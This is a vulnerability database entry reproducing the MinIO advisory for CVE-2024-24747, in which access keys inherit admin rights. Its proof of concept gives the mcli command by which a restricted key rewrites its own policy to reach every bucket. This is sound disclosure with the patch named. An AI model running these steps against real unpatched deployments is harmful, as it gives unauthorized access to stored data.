GHSA-XX8W-MQ23-29G4
Vulnerability from github – Published: 2024-02-01 19:21 – Updated: 2024-02-01 22:52Summary
When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.
Credit to @xSke for sort of accidentally discovering this. I only understood the implications.
Details / PoC
We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute
And checked whether policy works:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B public/
Looks good, we believe this is how 99% of users will work with access policies.
If I now create a file full-access-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
And then:
A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.
mycat has escalated its privileges to get access to the entire deployment:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B private/
[0001-01-01 00:53:28 LMT] 0B public/
Impact
A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.
Patched
commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date: Wed Jan 31 10:56:45 2024 -0800
fix: permission checks for editing access keys (#18928)
With this change, only a user with `UpdateServiceAccountAdminAction`
permission is able to edit access keys.
We would like to let a user edit their own access keys, however the
feature needs to be re-designed for better security and integration with
external systems like AD/LDAP and OpenID.
This change prevents privilege escalation via service accounts.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/minio/minio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240131185645-0ae4915a9391"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-24747"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-01T19:21:30Z",
"nvd_published_at": "2024-01-31T22:15:54Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:*\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::public\",\n \"arn:aws:s3:::public/*\"\n ]\n }\n ]\n}\n```\nWe then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT] 0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:*\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::*\"\n ]\n }\n ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT] 0B private/\n[0001-01-01 00:53:28 LMT] 0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -\u003e master, origin/master)\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate: Wed Jan 31 10:56:45 2024 -0800\n\n fix: permission checks for editing access keys (#18928)\n \n With this change, only a user with `UpdateServiceAccountAdminAction`\n permission is able to edit access keys.\n \n We would like to let a user edit their own access keys, however the\n feature needs to be re-designed for better security and integration with\n external systems like AD/LDAP and OpenID.\n \n This change prevents privilege escalation via service accounts.\n```\n",
"id": "GHSA-xx8w-mq23-29g4",
"modified": "2024-02-01T22:52:18Z",
"published": "2024-02-01T19:21:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24747"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776"
},
{
"type": "PACKAGE",
"url": "https://github.com/minio/minio"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.